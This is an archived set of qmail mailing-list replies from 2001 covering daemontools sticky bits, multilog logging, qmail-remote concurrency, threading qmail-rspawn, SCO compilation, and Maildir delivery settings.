On Thu, Mar 01, 2001 at 10:19:34AM -0500, Dave Sill wrote: My qmail project, only 1 week away from implementation, was canned, we are now moving to Lotus Notes. Well, it's not a total loss. At least you learned something about qmail. And maybe you can convince your company to use qmail as your email relay server on the firewall. Use Notes internally in a protected environment and only expose qmail to that nasty world out there. Sure you could expose your Notes server to the Internet, but do you really want to with all that company data so close at hand? Sure you could also buy a seperate Notes server and license just as a firewall box, but is that cost effective and is it the most secure choice? Regards.
Re: qmail-conf-054 / multilog
On Fri, Feb 23, 2001 at 12:13:37PM -0500, Paul Farber wrote: I have drwxr-xr-x 4 root root 4096 Feb 21 01:40 service and under that drwxr-xr-x 4 root root 4096 Feb 21 01:40 . drwxr-xr-x 13 root qmail4096 Feb 20 23:20 .. drwxr-sr-x 5 root root 4096 Feb 21 01:11 qmail drwxr-sr-x 5 root root 4096 Feb 21 01:35 qmail-smtpd Since the manual (man chmod) or the qmail-conf program docs didn't allude to it... what is the 'sticky bit'? Hmm. Solaris manpage talks about it as does FreeBSD - you must be on Linux, right? In octal it is 1000 or symbolically, +t. Thus: chmod +t /service/qmail Regards. Paul Farber Farber Technology [EMAIL PROTECTED] Ph 570-628-5303 Fax 570-628-5545 On Fri, 23 Feb 2001, Chris Johnson wrote: On Fri, Feb 23, 2001 at 10:33:57AM -0500, Paul Farber wrote: It appears that all logging is being dumped to the first virtual console: info msg 224981: bytes 32957 from #@[] qp 9474 uid 0 starting delivery 1692: msg 224981 to local [EMAIL PROTECTED] status: local 1/10 remote 0/20 delivery 1692: success: did_1+0+0/ status: local 0/10 remote 0/20 end msg 224981 new msg 224981 info msg 224981: bytes 3235 from [EMAIL PROTECTED] qp 9479 uid 0 starting delivery 1693: msg 224981 to local [EMAIL PROTECTED] status: local 1/10 remote 0/20 delivery 1693: success: did_1+0+0/ status: local 0/10 remote 0/20 end msg 224981 even though I have log/run set up EXACTLY as in the supervise man page. Is this a supervise/multilog bug? anyone getting qmail to log deliveries to multilog using log/run ? Did you set the sticky bit on your qmail service directory? Chris
Re: cyclog line?
On Fri, Feb 23, 2001 at 01:02:57PM -0600, Charles Cazabon wrote: Bill Parker [EMAIL PROTECTED] wrote: Now according to the man page for cyclog: cyclog [ -ssize ] [ -nnum ] [ -mmargin ] dir [...] Is there a space needed between the -s or not? No. You don't believe TFM? And... What happens when you try it both ways? Such an experiment won't create world hunger - give it a try and report and discrepancies with the documentation back to the list. Sometimes a simple experiment is going to give you a more reliable learning experience than just asking a list. Regards.
Re: qmail-conf-054 / multilog
Assuminmg you're running this all via svscan, the problem is that
svscan only notices the +t flag when it first sees the directory in
/service.
You need to remove the service and re-add it. I believe the
daemontools page at cr.yp.to has the sequence needed to do this.
Regards.
On Fri, Feb 23, 2001 at 03:05:23PM -0500, Paul Farber wrote:
Tried that...
but it will not fire off a copy of multilog:
3181 ?S 0:00 supervise qmail-smtpd
3182 ?S 0:00 /usr/local/bin/tcpserver -qDHR
-ladmin.f-tech.net -xt
here is some file info:
drwxr-sr-t 5 root root 4096 Feb 21 01:35 qmail-smtpd
./run=
#!/bin/sh
exec 21 \
envdir ./env \
sh -c '
case "$REMOTENAME" in h) H=;; p) H=p;; *) H=H;; esac
case "$REMOTEINFO" in r) R=;; [0-9]*) R="t$REMOTEINFO";; *) R=R;; esac
exec \
/usr/local/bin/envuidgid qmaild \
softlimit ${DATALIMIT+"-d$DATALIMIT"} \
/usr/local/bin/tcpserver \
-qD"$H$R" \
${LOCALNAME+"-l$LOCALNAME"} \
${BACKLOG+"-b$BACKLOG"} \
${CONCURRENCY+"-c$CONCURRENCY"} \
-xtcp.cdb \
-- "${IP-0}" "${PORT-25}" \
/var/qmail/bin/qmail-smtpd
'
./run/log=
[root@admin log]# cat run
#!/bin/sh
exec \
setuidgid qmaill \
multilog t ./main
./mail is empty... and there is no multilog process running
Paul Farber
Farber Technology
[EMAIL PROTECTED]
Ph 570-628-5303
Fax 570-628-5545
On Fri, 23 Feb 2001, Chris Johnson wrote:
On Fri, Feb 23, 2001 at 12:13:37PM -0500, Paul Farber wrote:
drwxr-xr-x 4 root root 4096 Feb 21 01:40 service
and under that
drwxr-xr-x 4 root root 4096 Feb 21 01:40 .
drwxr-xr-x 13 root qmail4096 Feb 20 23:20 ..
drwxr-sr-x 5 root root 4096 Feb 21 01:11 qmail
drwxr-sr-x 5 root root 4096 Feb 21 01:35 qmail-smtpd
Since the manual (man chmod) or the qmail-conf program docs didn't allude
to it... what is the 'sticky bit'?
chmod +t the directory. (Are you sure man chmod doesn't refer to this?)
From http://cr.yp.to/daemontools/svscan.html:
"If a subdirectory sub is sticky, svscan starts a pair of supervise processes,
one for sub, one for sub/log, with a pipe between them. svscan needs two free
descriptors for each pipe."
Chris
Re: Inter7 introduces new software: vQregister
On Fri, Feb 23, 2001 at 11:30:53AM -0600, [EMAIL PROTECTED] wrote: Maybe what I said wasn't as clear as it could have been. Exactly what you requested below, is the feature we will be adding. PHP is inefficient BTW. :) Totally OT, but one user registration per second adds up to 86,400 new users per day. Can a small web server running PHP handle one registration per second? Answer: yes. Does hotmail.com do more than 86K registrations per day? Answer: no. Conclusion: One small webserver running PHP can handle all the registrations for arguable the largest webmail service on the planet. Efficiency is not always the most relevant selection criteria. Regards. Dan Phoenix wrote: Quite honestly this is a custom form that most of us code ourselves in php to insert the info we need from users. What you really need to do is allow us to pick our own fields...and integrate whatever html we want into it. Regards, Dan On Fri, 23 Feb 2001 [EMAIL PROTECTED] wrote: Date: Fri, 23 Feb 2001 09:52:06 -0600 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED] Subject: Inter7 introduces new software: vQregister vQregister is new web-based signup CGI that more than replaces the old vQsignup program we released early last year. If you're running vQsignup now, or you're considering allowing users to signup for free accounts, it's worth taking a look at. We will be adding a new feature very soon which will be used to collect demographic, or any other information administrators might want during the signup process. This information might include their cleartext password, a challenge password (for retrieving the cleartext password over the phone), and other demographic information such as zip codes, cities, etc. We intend to make this fully configurable, so that whatever information you wish to collect, is easy to setup. Head over to http://www.inter7.com/vqregister to take a look at it. -- [EMAIL PROTECTED] Inter7 Internet Technologies, Inc. www.inter7.com - 847-492-0470 New prices! http://www.inter7.com/prices.html -- [EMAIL PROTECTED] Inter7 Internet Technologies, Inc. www.inter7.com - 847-492-0470 New prices! http://www.inter7.com/prices.html
Re: qmail-conf-054 / multilog
For debugging purposes you might want to run svscan manually so the errors go to the screen/window you're on. On Fri, Feb 23, 2001 at 06:25:11PM -0500, Paul Farber wrote: Is there a specific kernel setting I need for supervise to log Not unless it's some wierd Unix. svscan writes errors to stderr. You don't need kernel settings to control where that goes. correctly??? I am on kernel 2.4.1 it's working fine on a RH 6.2 machine with 2.2.17 (using djbdns). The sticky bit seemed to have no effect.. Did you restart svscan? and nothing is being logged error-wise. Did you check the system console? Regards. Paul Farber Farber Technology [EMAIL PROTECTED] Ph 570-628-5303 Fax 570-628-5545 On Fri, 23 Feb 2001, Chris Johnson wrote: On Fri, Feb 23, 2001 at 12:13:37PM -0500, Paul Farber wrote: drwxr-xr-x 4 root root 4096 Feb 21 01:40 service and under that drwxr-xr-x 4 root root 4096 Feb 21 01:40 . drwxr-xr-x 13 root qmail4096 Feb 20 23:20 .. drwxr-sr-x 5 root root 4096 Feb 21 01:11 qmail drwxr-sr-x 5 root root 4096 Feb 21 01:35 qmail-smtpd Since the manual (man chmod) or the qmail-conf program docs didn't allude to it... what is the 'sticky bit'? chmod +t the directory. (Are you sure man chmod doesn't refer to this?) From http://cr.yp.to/daemontools/svscan.html: "If a subdirectory sub is sticky, svscan starts a pair of supervise processes, one for sub, one for sub/log, with a pipe between them. svscan needs two free descriptors for each pipe." Chris
Re: Concurrency questions
In this way you'll make the first delivery attempt yourself for each recipient; avoiding any overhead in the qmail-send process or the queue management. if the first attempt fails then the message is passed off to qmail-send to handle, which should be a much lower volume of mail. I understand this code has to be executed in a loop for each recipient...Can you explain what advantages I get doing it this way ? By using qmail-remote directly you avoid all of the I/O overhead of placing the message in the queue and have qmail-send find and process each message. Going to qmail-remote directly is a zero I/O cost strategy. I recently did a system somewhat like this across multiple servers and the systems doing the initial qmail-remote delivery attempt where diskless. Works a treat. Regards.
Re: Concurrency questions
pass the message off to qmail to deliver. As most message get delivered on the first attempt you'll save the overhead of writing the message to disk, And this is a large caveat. If, eg, your network happens to be down at the time you attempt delivery, you'll inject a huge number of emails into qmail - that may hurt. When I've developed this sort of code I've found it just as easy to do the retries in the qmail-remote driver logic and dispense with qmail-inject/qmail-send altogether. Risk avoidance is the motive. duplicates and other things like that, but still it's much less work than the absolutle requirements for reliable delivery a general purpose mail delivery agent has. As always, Richard knows what he speaks about. There are many optimizations available when you have very specific requirements that are less demanding than a general purpose mail delivery system such as qmail. The really great news is that you can use the qmail componentry such as qmail-remote to reduce your development costs. Try that with sendmail! Regards.
Re: Syslog? [was Re: Detail logging of POP3D]
On Mon, Feb 12, 2001 at 12:17:47PM -0500, Paul Farber wrote: djb has several logging options... lately I believe it is multilog(?) in the new daemontools package. Indeed. And it's pretty triv to use too. The simplest is to replace your 'splogger qmai' with something like: multilog t n10 s500 /var/log/qmail Make sure you have a /var/log/qmail directory and that's about it. Of course if you want to go the whole hog and use svscan/supervise, then it's a little different as you create a log/run script etc, but the above is the simple way. We've heard this again and again. Any specifics? I've seen the syslog daemon simply die. With no explanation. Several times on different boxes. I think this qualifies as being unreliable. Indeed syslogd notoriously dies on Solaris 2.5 and 2.6 especially when hit with multiple HUPqs at around the same time (which of course happens quite a lot if you use multiple log rolling scripts as one is almost forced to do on Solaris with that /usr/lib/newsyslog abomination). Regards.
Re: multi-thread
On Thu, Feb 08, 2001 at 12:06:05PM -, Tim Goodwin wrote: ok, on my Solaris, the qmail distribution is "forking" almost 10 to 20 processes per second. This cost a lot in system ressources and system calls Yes. Unfortunately, Solaris isn't Unix, and qmail was designed to run on Unix systems. Unix is rather good at forking, especially images as tiny as qmail; Solaris isn't. As Rob Pike once said, "perhaps if people had understood fork() better we wouldn't have threads". So I'm trying to work on a threaded qmail-rspawn to avoid so many forks Yikes. If all he's trying to achive is reduce forking on his Solaris box, I concur. However if we generalize the question, I don't know that I'd draw the same conclusion. If any area of qmail would benefit for threading, it might be the remote delivery mechanism - currently handled by Batman and Robin, er, sorry, qmail-rspawn and qmail-remote. First off, there is an amount of data they can share and cache, such as tcpok and recent DNS lookups. Second, remote delivery can have very high latency so any footprint saving is a big saving. Third, the state requirements are truly tiny. A socket and an fd is just about all that the thread needs. Fourth, there are few security issues. Neither qmail-rspawn nor qmail-remote need any special file system access. This is often a nasty complication for threaded implementations. Not so here. Fifth, the interface is simple and clean, plug in the threaded qmail-rspawn and no one is any the wiser. Sixth, the problem domain isn't that large: $ wc -l qmail-rspawn.c qmail-remote.c 103 qmail-rspawn.c 427 qmail-remote.c 530 total Having said that, in the scheme of things, qmail-remote borders on ridiculously tiny as it is. I recently wrote a queueless wrapper program that uses qmail-remote as the smtp engine (opt-in spam I call it). I rediscovered that a concurrency of 1,000 qmail-remotes consumes very little system resource on FreeBSD. I'm going to put my manager's hat on for a moment. How much time do you intend to spend on developing and debugging this? How much does that time cost? How much would it cost to buy a fast PC, run a real Unix (I'd suggest OpenBSD, FreeBSD, or some version of Linux) on it, and make that your mail server? As a solitary exercise solely designed to speed up one system, of course replacing the box may be a better solution. Regards.
Re: multi-thread
Fifth, the interface is simple and clean, plug in the threaded qmail-rspawn and no one is any the wiser. With nonblocking sockets and select(), one could write a single-threaded qmail-rspawn/remote. Only need to find a way to do the dns lookups in parallel. Yes Virginia. There are at least three ways to skin a cat in Unix. And even the design of a good threaded implementation may not be the obvious one of one thread per socket. It might be, eg, a thread per function, or a thread per lockable area or a thread per external interface or... And yes Virginia. This is off topic now. Regards.
Re: compiling qmail-1.03 under SCO Open Server 5.05 and the UDK from SCO.
On Wed, Feb 07, 2001 at 04:08:38PM +, Uwe Ohse wrote: On Wed, Feb 07, 2001 at 09:17:10AM -0500, Jocelyn Clement wrote: This is it: I ran the "make setup check" and it generates an error message on the "qmail-local.c" saying that there is no definition of the "timestruct_t" in the "stat.h" file. I am using the SCO development system. Please share with us ALL the information you could possibly have on hand on "How to" compile qmail under SCO Open Server 5.05 well, i'm actually only cursed with one last 5.0.2 system without any working development system, but ... I'm with Uwe on this front. My experiences with qmail/tcpserver on SCO (sorry don't know the exact version now) were anything but fun. When you finally compile it, you'll want to search the archives for SCO - I vaguely recall posting something on this regarding the need for tcpserver -o. Regards.
Re: Perl checkpassword
On Tue, Feb 06, 2001 at 12:17:44PM -0600, Larry M. Smith is the BPFH wrote: Someone had asked for this some time ago... But I forget who or when. DJB, if you would, please archive locally to www.qmail.org. That would be [EMAIL PROTECTED], aka Russ Nelson, but I'm sure he'll see the message. Regards.
Re: no incoming mail from outside
Well, usually the log files will tell you what's going on... what do they say? any ideas? Clean Redhat 7.0 install with all the latest qmail and vpopmail. I have followed the instructions to the letter 4 times and I can't seem to cat rc #!/bin/sh # Using stdout for logging # Using control/defaultdelivery from qmail-local to deliver messages by default # These following are the defaults from LWQ mail - doesn't work with vpopmail [ross@ws1 qmail]$ cat rc exec env - PATH="/var/qmail/bin:$PATH" \ qmail-start .Mailbox Default delivery is to .Mailbox? Is that what the instructions really say? Are you over-riding this with per-user .qmail files? If not, you have a mismatch between your delivery type and the pop server as: exec env - PATH="/var/qmail/bin:/usr/local/bin" \ tcpserver -H -R 0 pop-3 \ /var/qmail/bin/qmail-popup mail.innsandcottages.com \ /home/vpopmail/bin/vchkpw /var/qmail/bin/qmail-pop3d Maildir The qmail pop server only reads Maildirs - it knows nothing about .Mailbox You may find that your logs are showing delivery, but you're maybe expecting the mail to be delivered into a Maildir and it's not? Regards.
Re: High MEM Usage??
Well, this is hardly a qmail question. It's more a system administration/Linux question. Have you got the 'top' command? Try that? Have you got the 'ps' command? Try that. I don't know about Linux so much, but some Operating Systems use memory that has never had anything placed in it in preference to memory that has had something loaded into it. What that means is that if you run 100 different programs, rather than reuse the one piece of memory for each program, the OS will load in the first program, leave it in memoryt, and load in the next program at the next available piece of memory. Over time this has the effect of using all your memory, but of course the OS is just being smart about caching. That may be all that's happened with your system. Relating to qmail. qmail is a very small consumer of memory and is unlikely to be relevant to any interpretation you are making on this output. Regards. On Sun, Feb 04, 2001 at 08:04:47PM +0530, Sumith Ail wrote: Hello, We have just received our server which is a Dual PIII with 512 MB RAM , RH Linux 6.2 Box. I have installed qmail on this with tcpserver, Now the meminfo shows cat /proc/meminfo total:used:free: shared: buffers: cached: Mem: 529530880 364380160 165150720 72847360 300982272 24657920 Swap: 10485514240 1048551424 MemTotal:517120 kB MemFree: 161280 kB MemShared:71140 kB Buffers: 293928 kB Cached: 24080 kB BigTotal: 0 kB BigFree: 0 kB SwapTotal: 1023976 kB SwapFree: 1023976 kB There is hardly anybody using this server...please let me know how can I find out which process is using so much of memory. Kind Regards Sumith
Re: High Mem usage??
Er, one copy of this email to the list is more than enough. Three is clearly excessive. Regards. On Sun, Feb 04, 2001 at 06:31:44AM -0800, Sumith Ail wrote: Hello, We have just received our server which is a Dual PIII with 512 MB RAM , RH Linux 6.2 Box. I have installed qmail on this with tcpserver, Now the meminfo shows cat /proc/meminfo total:used:free: shared: buffers: cached: Mem: 529530880 364380160 165150720 72847360 300982272 24657920 Swap: 10485514240 1048551424 MemTotal:517120 kB MemFree: 161280 kB MemShared:71140 kB Buffers: 293928 kB Cached: 24080 kB BigTotal: 0 kB BigFree: 0 kB SwapTotal: 1023976 kB SwapFree: 1023976 kB There is hardly anybody using this server...please let me know how can I find out which process is using so much of memory. Kind Regards Sumith
